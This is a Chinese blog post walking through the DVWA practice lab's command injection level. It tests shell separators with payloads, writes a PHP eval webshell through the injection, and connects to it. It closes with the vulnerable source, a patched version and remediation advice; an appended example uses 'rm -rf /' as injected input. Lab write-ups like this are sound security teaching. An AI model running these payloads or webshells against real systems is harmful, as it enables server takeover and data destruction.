DVWA 靶场之 Command Injection(命令执行)原理介绍、分隔符测试、后门写入与源码分析、修复建议

本文详细介绍了在DVWA靶场中遇到的CommandInjection命令注入漏洞,涉及乱码问题、命令执行原理、本地回环地址的应用以及各种命令执行分隔符的利用。作者通过实例演示了如何利用这些知识进行漏洞测试和修复建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在打靶之前我们需要先解决一个乱码问题

参考我之前的博客:

关于DVWA靶场Command Injection(命令注入)乱码的解决方案-CSDN博客

简单介绍一下命令执行漏洞:

命令执行漏洞是一种常见的网络安全漏洞,它允许攻击者通过向应用程序发送恶意输入,执行任意系统命令或者其他恶意操作。这种漏洞通常存在于允许用户输入命令并将其传递给操作系统执行的应用程序中,比如Web应用程序中的表单、URL参数或者其他用户输入的地方。攻击者利用这种漏洞可以执行以下操作:

  1. 远程命令执行(RCE):攻击者可以通过发送特定的恶意输入,使目标应用程序执行远程服务器上的任意命令。这可能导致服务器被完全接管,或者在服务器上执行潜在破坏性的操作。

  2. 本地命令执行:攻击者可以在受影响的应用程序上执行本地系统命令,这可能导致攻击者获取敏感信息、修改系统配置或者执行其他恶意操作。

  3. Shell注入:攻击者通过注入恶意命令到受影响应用程序的命令行或者Shell环境中,从而执行未经授权的操作。

  4. 提权攻击:通过执行恶意命令,攻击者可以利用漏洞提升其在系统中的权限,从而获取更大的访问权限。

总的来说就是服务端没有对执行函数做严格过滤,导致我们可以插入恶意的命令并被执行。

我们还是先从最简单的开始,将难度等级设置为 Low

来到命令注入关卡,要求我们输入一个 ip 地址

这里输入本地回环地址进行测试,即 127.0.0.1

顺便给大家介绍一下这个回环地址:

本地回环地址(127.0.0.1)是指计算机网络中的一个特殊地址,代表设备的本地虚拟接口,不会受网络情况的变化而变化。它用于在同一台计算机内部进行通信,而不需要经过物理网络硬件,因此被默认视为永远不会宕掉的接口。实际上,除了 127.0.0.1 外,范围在127.0.0.2 到 127.255.255.254 之间的地址也是本地回环地址,可以用于同样的目的。

本地回环地址的作用包括:

1、测试本机的网络配置:通过向 127.0.0.1 发送数据包,可以验证本机的 IP 协议安装是否正常。

2、代替 localhost :在操作系统的配置文件中,通常将 localhost(本地主机名)与 127.0.0.1 绑定在一起,这样在应用程序中使用 localhost 时,实际上是在使用本地回环地址,用于访问本机上运行的网络服务和应用程序。

可以看到这里执行了 ping 127.0.0.1 的命令 

这个就和我们在终端执行 ping 命令是一样的,回显如下图:

至此我们可以大致判断这个页面的功能就是对我们输入的 ip 地址执行 ping 命令

但是我们是 hacker ,怎么能只限于执行一个 ping 命令呢

那么我们尝试一下是否还能执行其他命令

在此之前我们需要知道命令执行漏洞的原理:

在操作系统中,“ &、|、&&、|| ” 都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

上述的 “ & ” 和 “ | ” 都叫做命令执行分隔符,在 Linux 系统下,命令执行分隔符还包括 “ ; ”

即命令执行分隔符有:

windows:   &&  ||  &  | 
linux:   &&   ||   &  |    ;

顺便再说一下命令执行相关的函数,主要有:

exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec()

本质就是命令执行函数将参数以 dos 、shell 执行

铺垫了这么多基础知识,我们直接上 payload:

在 ping 127.0.0.1 的后面我们使用管道符与拼接继续执行命令 whoami

127.0.0.1&whoami

 可以看到除了执行 ping 命令,whoami 也被执行了,回显如下图:

如果这个看着不明显,那么我们执行一下其他命令试试,比如 ipconfig

(因为我这里的靶场是使用 Windows 系统搭建的,如果搭建在 Linux 环境下,则使用 ifconfig)

127.0.0.1&ipconfig

这次看着就很明显了吧,确实存在命令执行漏洞 

关于不同 payload 的测试: 

127.0.0.1&&ipconfig

与一个 & 的执行结果一样 (注意这是基于第一个为真的条件)

我们再看这个,ping myon 肯定为假 

myon&&ipconfig

由结果可以得出:当第一个命令执行失败(为假) 

那么第二个命令(ipconfig)也不会被执行,这就是两个与的效果(&&)

我们再测试一个与

myon&ipconfig

可以看到,虽然第一个命令执行失败,但是第二个命令还是被执行了,这就是一个与的效果(&)

前面的语句为假则直接执行后面的,前面可真可假,后面命令都会执行

接下来我们测试或(||、|)

127.0.0.1|ipconfig
myon|ipconfig

对于一个或, 无论第一个命令执行为真还是假,都是直接执行第二个命令

127.0.0.1||ipconfig

对于两个或,前面为真,只执行前面的,后面命令没有执行

myon||ipconfig

若前面为假, 执行后面的,第二个命令被执行

对于 Linux 系统搭建的靶场,管道符效果同上 

这里补充分号(;)

127.0.0.1;ifconfig;cd ../../;ls;whoami等等

按顺序依次执行,分号前的命令执行完继续执行分号后的命令

因为我这里靶场是使用 Windows 系统搭建的因此无法使用分号来堆叠命令 

 最后我们尝试写入木马后门

首先使用 dir 命令查看当前目录下的文件

这里我们使用一个或,无论前面为真还是假,都直接执行后面的命令

|dir

可以看到当前目录的位置路径,并且存在一个 index.php 即首页文件

我们尝试写入一个名为 shell.php 的一句话木马文件

这里在本地 cmd 测试是可行的,但是在靶场测试使用一个或却无法写入

因此我们换用与(&)即可

注意:在Windows系统下,尖括号 > 被用于输出重定向,因此如果直接在命令行中写入包含 > 的 PHP 代码,会被认为是输出重定向符号,从而导致语法错误。

我们需要使用 ^ 符号进行转义

构造 payload :

127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php

如果是写入当前目录下,也可以直接跟文件名即可

127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > shell.php

对于 Linux 系统则使用反斜杠 \ 进行转义 

webshell 后门写入成功 

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可。

查看木马内容

尝试进行调用 shell.php

system 函数执行成功,回显存在一定乱码,但是可以看到文件名

我们使用蚁剑进行连接

测试连接成功

添加后进入

直接拿下整个网站后台

 最后我们简单看一下题目源码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

主要存在的问题:

  1. 未对用户输入进行验证和过滤:代码中直接使用 $_REQUEST['ip'] 获取用户输入的 IP 地址,并没有对用户输入进行验证和过滤,这可能导致命令注入漏洞。攻击者可以通过输入恶意命令来执行任意系统命令,从而对服务器造成严重威胁。

  2. 未使用安全的命令执行函数:代码中使用了 shell_exec() 函数来执行系统命令,这是一个可执行命令的函数,存在安全风险。如果用户能够控制输入并输入恶意命令,就可能导致命令执行漏洞。

  3. 未对操作系统类型进行验证:代码中使用了 php_uname('s') 函数来确定操作系统类型,然后根据操作系统类型来选择执行的命令。但是这种方式并不可靠,攻击者可以伪造 HTTP 请求来改变 User-Agent,从而绕过这种检测机制。

修复加固后的代码:

<?php

if (isset($_POST['Submit'])) {
    // Get input
    $target = $_POST['ip'];

    // Validate user input to ensure it is a valid IP address
    if (filter_var($target, FILTER_VALIDATE_IP)) {
        // Determine OS and execute the ping command
        if (stristr(php_uname('s'), 'Windows NT')) {
            // Windows
            $cmd = shell_exec('ping ' . escapeshellarg($target));
        } else {
            // *nix
            $cmd = shell_exec('ping -c 4 ' . escapeshellarg($target));
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    } else {
        // Invalid input, display error message
        echo "Invalid IP address";
    }
}

?>

  1. 使用 filter_var() 函数验证用户输入的 IP 地址,确保其是一个有效的 IP 地址。

  2. 使用 escapeshellarg() 函数对用户输入进行转义,以防止命令注入。

  3. 在命令执行前对用户输入进行验证,如果用户输入不是有效的 IP 地址,则显示错误消息。

对于命令执行漏洞的通用修复建议:

  1. 输入验证和过滤:严格验证和过滤所有用户输入,确保只接受预期的输入格式,拒绝所有非法字符和特殊字符。

  2. 避免使用可执行命令的函数:尽可能避免使用能够执行系统命令的函数,如 exec()system()shell_exec() 等,而是使用更安全的替代方案,如专门的库或内置函数。

  3. 最小权限原则:确保应用程序以最低权限来执行系统命令,避免使用过高的权限。限制应用程序的操作范围,仅提供必要的权限。

  4. 安全配置:对服务器和应用程序进行安全配置,关闭不必要的服务和功能,限制可执行命令的范围。确保操作系统和软件都及时更新,以修复已知的安全漏洞。

  5. 安全编程实践:在编写代码时,采用安全编程实践,如对用户输入进行验证、过滤和转义,不信任用户输入,避免硬编码敏感信息等。

  6. 输入输出分离:确保用户输入和系统命令之间有明确的分界线,不要将用户输入直接作为系统命令的一部分。

  7. 安全框架和工具:使用安全性较高的编程语言、框架和工具来开发应用程序,这些工具可能提供了内置的安全机制,能够有效地防止命令执行漏洞。

  8. 安全审计和漏洞扫描:定期进行安全审计和漏洞扫描,及时发现并修复潜在的安全漏洞。

本篇博客我只是以 Low 难度的为例,但其实我们已经讲到了其他难度的知识,我认为还是讲得很详细的,下篇博客我们继续进行 middle 和 high 难度的讲解演示与补充。

创作不易,期待大家的关注与支持!

参数命令注入(Parameter Command Injection)是一种常见的安全漏洞,攻击者通过操控应用程序接收到的参数,将恶意命令注入到系统中执行。这种漏洞通常出现在应用程序使用未经验证的输入来构建系统命令时。 以下是参数命令注入的一些关键点: 1. **攻击方式**:攻击者通过修改应用程序接收到的参数,将恶意命令注入到系统中。这些命令可能是操作系统命令、数据库命令等。 2. **危害**:参数命令注入可能导致数据泄露、服务器被控制、数据被篡改等严重后果。 3. **常见场景**:常见于Web应用程序中,特别是那些使用用户输入来构建系统命令的场景。 ### 预防措施 1. **输入验证**:对所有用户输入进行严格的验证和过滤,确保输入符合预期格式。 2. **使用参数化接口**:避免直接拼接用户输入到命令中,使用参数化接口或预编译语句。 3. **最小权限原则**:应用程序应使用最小权限运行,避免使用高权限账户执行命令。 4. **白名单机制**:使用白名单机制,只允许预定义的命令或参数被接受。 ### 示例 假设有一个Web应用程序,用户可以通过输入文件名来查看文件内容: ```python import os def view_file(filename): command = "cat " + filename os.system(command) # 用户输入 user_input = "important.txt; rm -rf /" view_file(user_input) ``` 在这个例子中,如果用户输入`"important.txt; rm -rf /"`,系统会执行`cat important.txt; rm -rf /`,这将导致删除根目录下的所有文件。 通过使用参数化接口,可以避免这种漏洞: ```python import subprocess def view_file_secure(filename): subprocess.run(["cat", filename]) # 用户输入 user_input = "important.txt; rm -rf /" view_file_secure(user_input) ``` 在这个例子中,`subprocess.run`会正确处理参数,避免命令注入。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值